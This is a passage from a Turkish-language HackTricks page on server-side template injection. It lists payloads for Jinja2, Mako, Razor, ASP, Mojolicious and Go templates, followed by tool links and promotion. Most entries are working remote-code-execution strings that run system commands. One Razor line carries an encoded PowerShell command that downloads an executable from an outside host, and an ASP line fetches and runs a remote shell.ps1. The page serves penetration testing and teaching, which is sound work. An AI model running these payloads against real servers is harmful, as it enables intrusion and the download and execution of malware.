{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja'yı nasıl kötüye kullanacağınız hakkında daha fazla ayrıntı:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Diğer payloadlar için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Daha fazla bilgi
Razor (.Net)
@(2+2) <= Başarılı
@() <= Başarılı
@("{{code}}") <= Başarılı
@ <=Başarılı
@{} <= HATA!
@{ <= HATA!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET System.Diagnostics.Process.Start
metodu, sunucuda herhangi bir süreci başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Zayıf bir web uygulaması örneğini https://github.com/cnotin/RazorVulnerableApp adresinde bulabilirsiniz.
Daha fazla bilgi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Hiçbir şey<%= response.write(date()) %>
= <Tarih>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Daha Fazla Bilgi
Mojolicious (Perl)
Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
<%= 7*7 %> = 49
<%= foobar %> = Hata
<%= perl code %>
<% perl code %>
SSTI in GO
Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:
{{ . }}
: Veri yapısı girdisini açığa çıkarır. Örneğin, birPassword
niteliğine sahip bir nesne geçilirse,{{ .Password }}
bunu açığa çıkarabilir.{{printf "%s" "ssti" }}
: "ssti" dizesini göstermesi beklenir.{{html "ssti"}}
,{{js "ssti"}}
: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde burada incelenebilir.
XSS Exploitation
text/template
paketi ile XSS, yükü doğrudan ekleyerek basit hale getirilebilir. Aksine, html/template
paketi yanıtı kodlayarak bunu önler (örneğin, {{"<script>alert(1)</script>"}}
sonucu <script>alert(1)</script>
olur). Ancak, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE istismarı html/template
ve text/template
arasında önemli ölçüde farklılık gösterir. text/template
modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu html/template
'de izin verilmez. Bu modüller için belgeler html/template için burada ve text/template için burada mevcuttur.
Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları yürüten bir System
yöntemine sahipse, {{ .System "ls" }}
gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Daha fazla bilgi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
Daha Fazla Sömürü
Daha fazla sömürü için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kısmını kontrol edin. Ayrıca https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde ilginç etiket bilgileri bulabilirsiniz.
BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
İlgili Yardım
Faydalı olabileceğini düşünüyorsanız, okuyun:
Araçlar
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Tespit Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Pratik & Referanslar
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinin teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.